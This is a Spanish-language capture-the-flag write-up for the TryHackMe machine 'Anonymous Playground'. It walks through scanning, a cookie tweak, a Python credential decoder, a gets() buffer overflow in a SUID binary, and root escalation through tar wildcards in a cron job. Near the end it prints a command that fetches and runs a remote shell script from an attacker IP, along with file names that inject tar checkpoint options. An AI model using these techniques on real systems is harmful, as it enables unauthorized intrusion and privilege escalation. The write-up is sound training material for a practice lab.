Anonymous Playground es una maquina de TryHackMe, inicialmente presenta un reto que mediante un script obtuvimos las credenciales para acceder al servicio SSH. Realizamos una pequeña explotacion de un archivo suid para realizar movimiento lateral. Finalmente utilizamos wildcards con tar para escalar privilegios.
Room
Titulo |
Anonymous Playground |
Descripción |
Want to become part of Anonymous? They have a challenge for you. Can you get the flags and become an operative? |
Puntos |
190 |
Dificultad |
Dificil |
Maker |
Nameless0ne |
NMAP
Escaneo de puertos tcp, nmap nos muestra el puerto http (80) y el puerto ssh (22) abiertos.
1
2
3
4
5
6
7
8
9
10
11
|
# Nmap 7.80 scan initiated Mon Aug 17 16:53:27 2020 as: nmap -Pn -sV -o mini_scan anonymous.thm
Nmap scan report for anonymous.thm (10.10.168.121)
Host is up (0.25s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Aug 17 16:54:24 2020 -- 1 IP address (1 host up) scanned in 57.27 seconds
|
HTTP
Encontramos una pagina web en el puerto 80.
En la pagina Operatives
se muestra una lista de posibles usuarios.
En el codigo fuente de la imagen encontramos un comentario en el cual vemos una direccion de una pagina, dicha pagina no existe.
GOBUSTER
Utilizamos gobuster para busqueda de directorios y archivos.
1
2
3
4
5
|
kali@kali:~/thm/anonymousplayground$ gobuster dir -u http://anonymous.thm/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 250 -q -x php,html,txt
/index.php (Status: 200)
/images (Status: 301)
/js (Status: 301)
/robots.txt (Status: 200)
|
En robots.txt
encontramos una direccion que al visitarla nos muestra un mensaje.
En esta ultima pagina encontramos un cookie el cual está configurado en denied
.
Le cambiamos el valor a granted
utilizando firefox.
Recargamos la pagina y ahora nos muestra el siguiente mensaje, al parecer es un mensaje codificado.
MAGNA - USER
Intenamos con los diferentes bases y ciphers pero no logramos obtener ningun valor interesante, en la plataforma nos da una pista donde el valor zA es a:
1
|
You're going to want to write a Python script for this. 'zA' = 'a'
|
Podemos ver que zA = a eso quiere decir que cada par de letras tiene un valor, de tal forma que quedaria de la siguiente forma si reemplazamos zA, pero solo tenemos el valor de a.
1
2
|
- hE zA dC fH zA::hE zA dC fH zA hA iJ zA eI aD jB cB hH gA zA fH fN
+ hE a dC fH a ::hE a dC fH a hA iJ a eI aD jB cB hH gA a fH fN
|
La cantidad de caracteres al decodificarlo quedaria de la siguiente forma 5::17. Los usuarios que encontramos ninguno de ellos tiene más de 17 caracteres pero si encontramos cuatro de ellos que tienen 5 caracteres (['ninja', 'jammy', 'magna', 'skidy']
) por lo que quizas la primera parte de la codificacion tenga uno de los usuarios y posiblemente la segunda, una contraseña.
En la primera parte tenemos 5 caracteres para un “usuario”, segun la pista la primera parte tiene dos a y entre los usuarios solo magna
tiene la misma letra en la misma posision, por lo que el valor hE
posiblemente pertenezca a m
y asi con los valores siguientes.
1
2
3
|
- hE zA dC fH zA
+ hE a dC fH a
+ m a g n a
|
Escribimos un pequeño script el cual utiliza un numero (n) para poder encontrar la letra m
(con chr()
), utilizando los valores unicode del par de letras (con ord()
), sumando el valor de cada uno de ellos y restando o sumando el numero (n).
1
2
3
4
5
6
|
>>> ord('h')
104
>>> ord('E')
69
#Valor Esperado con la "formula"
chr(104 + 69 +/- n) = "m"
|
Hay que tomar en cuenta que el valor zA
es a
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
#"Credentials"
encoded_cred = "hE zA dC fH zA".split(' ')
#USERS
users = open('users.txt','r')
users = [x.rstrip() for x in users]
users = [x for x in users if len(x) == 5]
def decode(num, lista):
tmp = ""
for i in lista:
if i == "zA":
tmp = tmp + "a"
else:
tmp = tmp + str(chr( ord(i[0]) + ord(i[1]) - num))
return(tmp)
for i in range(0, 256):
value = ord('h') + ord('E') - i
if value in range(90,123):
if chr(value) == "m":
print("Posible numero: " + str(i))
print(decode(i, encoded_cred))
|
Al ejecutar el script nos devuelve el numero que se puede utilizar para encontrar el valor de m
el cual utilizamos para decodificar la primera parte, y el resultado fue magna.
1
2
3
|
kali@kali:~/thm/anonymousplayground$ python creds.py
Posible numero: 64
magna
|
Realizamos lo mismo pero ahora con la segunda parte:
1
2
3
|
encoded_cred_two = "hE zA dC fH zA hA iJ zA eI aD jB cB hH gA zA fH fN".split(' ')
encoded_cred = "hE zA dC fH zA".split(' ')
print(decode(64, encoded_cred) + "::" + decode(64, encoded_cred_two))
|
Utilizamos estas “credenciales” en el servicio SSH y logramos obtener una shell y nuestra primera flag.txt
.
USER - SPOOKY
En la carpeta principal encontramos una nota en el cual indica que Spooky
hizo un binario en C
y que en la maquina esta installado radare2 y gdb para poder realizarle un reversing:
1
2
3
4
5
6
7
8
9
|
Hey Magna,
Check out this binary I made! I've been practicing my skills in C so that I can get better at Reverse
Engineering and Malware Development. I think this is a really good start. See if you can break it!
P.S. I've had the admins install radare2 and gdb so you can debug and reverse it right here!
Best,
Spooky
|
El binario se encuentra en la carpeta principal.
Utilizamos radare2
, vemos varias funciones interesantes como sym.main
y sym.call_bash
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
[0x00400570]> afl
0x00400000 3 72 -> 73 sym.imp.__libc_start_main
0x004004e0 3 23 sym._init
0x00400510 1 6 sym.imp.puts
0x00400520 1 6 sym.imp.system
0x00400530 1 6 sym.imp.printf
0x00400540 1 6 sym.imp.gets
0x00400550 1 6 sym.imp.setuid
0x00400560 1 6 sym.imp.sleep
0x00400570 1 43 entry0
0x004005a0 1 2 sym._dl_relocate_static_pie
0x004005b0 3 35 sym.deregister_tm_clones
0x004005e0 3 53 sym.register_tm_clones
0x00400620 3 34 -> 29 sym.__do_global_dtors_aux
0x00400650 1 7 entry1.init
0x00400657 1 129 sym.call_bash
0x004006d8 1 56 sym.main
0x00400710 4 101 sym.__libc_csu_init
0x00400780 1 2 sym.__libc_csu_fini
0x00400784 1 9 sym._fini
[0x00400570]>
|
En sym.main
vemos que simplemente realiza una impresion y pregunta por algo.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
[0x00400570]> pdf @sym.main
;-- main:
/ (fcn) sym.main 56
| sym.main ();
| ; var int local_50h @ rbp-0x50
| ; var int local_44h @ rbp-0x44
| ; var int local_40h @ rbp-0x40
| ; DATA XREF from 0x0040058d (entry0)
| 0x004006d8 55 push rbp
| 0x004006d9 4889e5 mov rbp, rsp
| 0x004006dc 4883ec50 sub rsp, 0x50 ; 'P'
| 0x004006e0 897dbc mov dword [local_44h], edi
| 0x004006e3 488975b0 mov qword [local_50h], rsi
| 0x004006e7 488d3d1d0100. lea rdi, qword str.Who_do_you_want_to_hack ; 0x40080b ; "Who do you want to hack? "
| 0x004006ee b800000000 mov eax, 0
| 0x004006f3 e838feffff call sym.imp.printf ; int printf(const char *format)
| 0x004006f8 488d45c0 lea rax, qword [local_40h]
| 0x004006fc 4889c7 mov rdi, rax
| 0x004006ff b800000000 mov eax, 0
| 0x00400704 e837feffff call sym.imp.gets ; char*gets(char *s)
| 0x00400709 b800000000 mov eax, 0
| 0x0040070e c9 leave
\ 0x0040070f c3 ret
|
En sym.call_bash
vemos que realiza varias impresiones y al final ejecuta /bin/sh
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
[0x00400570]> pdf @sym.call_bash
/ (fcn) sym.call_bash 129
| sym.call_bash ();
| 0x00400657 55 push rbp
| 0x00400658 4889e5 mov rbp, rsp
| 0x0040065b 488d3d360100. lea rdi, qword str.We_are_Anonymous. ; 0x400798 ; "\nWe are Anonymous."
| 0x00400662 e8a9feffff call sym.imp.puts ; int puts(const char *s)
| 0x00400667 bf01000000 mov edi, 1
| 0x0040066c e8effeffff call sym.imp.sleep ; int sleep(int s)
| 0x00400671 488d3d330100. lea rdi, qword str.We_are_Legion. ; 0x4007ab ; "We are Legion."
| 0x00400678 e893feffff call sym.imp.puts ; int puts(const char *s)
| 0x0040067d bf01000000 mov edi, 1
| 0x00400682 e8d9feffff call sym.imp.sleep ; int sleep(int s)
| 0x00400687 488d3d2c0100. lea rdi, qword str.We_do_not_forgive. ; 0x4007ba ; "We do not forgive."
| 0x0040068e e87dfeffff call sym.imp.puts ; int puts(const char *s)
| 0x00400693 bf01000000 mov edi, 1
| 0x00400698 e8c3feffff call sym.imp.sleep ; int sleep(int s)
| 0x0040069d 488d3d290100. lea rdi, qword str.We_do_not_forget. ; 0x4007cd ; "We do not forget."
| 0x004006a4 e867feffff call sym.imp.puts ; int puts(const char *s)
| 0x004006a9 bf01000000 mov edi, 1
| 0x004006ae e8adfeffff call sym.imp.sleep ; int sleep(int s)
| 0x004006b3 488d3d260100. lea rdi, qword str.Message_corrupted_...Well...done. ; 0x4007e0 ; "[Message corrupted]...Well...done."
| 0x004006ba e851feffff call sym.imp.puts ; int puts(const char *s)
| 0x004006bf bf39050000 mov edi, 0x539 ; 1337
| 0x004006c4 e887feffff call sym.imp.setuid
| 0x004006c9 488d3d330100. lea rdi, qword str.bin_sh ; 0x400803 ; "/bin/sh"
| 0x004006d0 e84bfeffff call sym.imp.system ; int system(const char *string)
| 0x004006d5 90 nop
| 0x004006d6 5d pop rbp
\ 0x004006d7 c3 ret
[0x00400570]>
|
Para entenderlo con más claridad utilizamos Ghidra
y vemos el codigo fuente de ambas funciones, en main vemos que el valor de la variable local_48
tiene un tamaño de 64 y la segunda funcion simplemente realiza impresiones y una ejecucion:
1
2
3
4
5
6
7
8
9
|
undefined8 main(void)
{
char local_48 [64];
printf("Who do you want to hack? ");
gets(local_48);
return 0;
}
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
void call_bash(void)
{
puts("\nWe are Anonymous.");
sleep(1);
puts("We are Legion.");
sleep(1);
puts("We do not forgive.");
sleep(1);
puts("We do not forget.");
sleep(1);
puts("[Message corrupted]...Well...done.");
setuid(0x539); //1337
system("/bin/sh");
return;
}
|
Realizando la ejecucion del binario logramos obtener el mensaje Segmentation fault
y el offset. Sabiendo el offset vamos a poder realizar la llamada a la funcion call_bash
.
Logramos obtener una shell con el usuario Spooky
.
PRIVILEGE ESCALATION
Hacemos una pequeña enumeracion en el archivo /etc/crontab
y encontramos que existe un cron que es ejecutado por el usuario root
el cual realiza un backup de todo lo que se encuentre en /home/spooky
.
Utilizamos los “parametros” para explotar esta vulnerabilidad creando un archivo que contenga nuestra shell inversa, y creamos los “parametros” los cuales van a ejecutar nuestra shell al igual que en la maquina CMESS - THM.
1
2
3
|
echo 'bash -c "$(wget -qO- http://10.2.29.162/shell.sh)" ' > shell.sh
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "" > --checkpoint=1
|
Creamos nuestra shell en nuestra maquina, ponemos a la escucha netcat y logramos obtener nuestra shell con usuario root y nuestra flag root.txt
.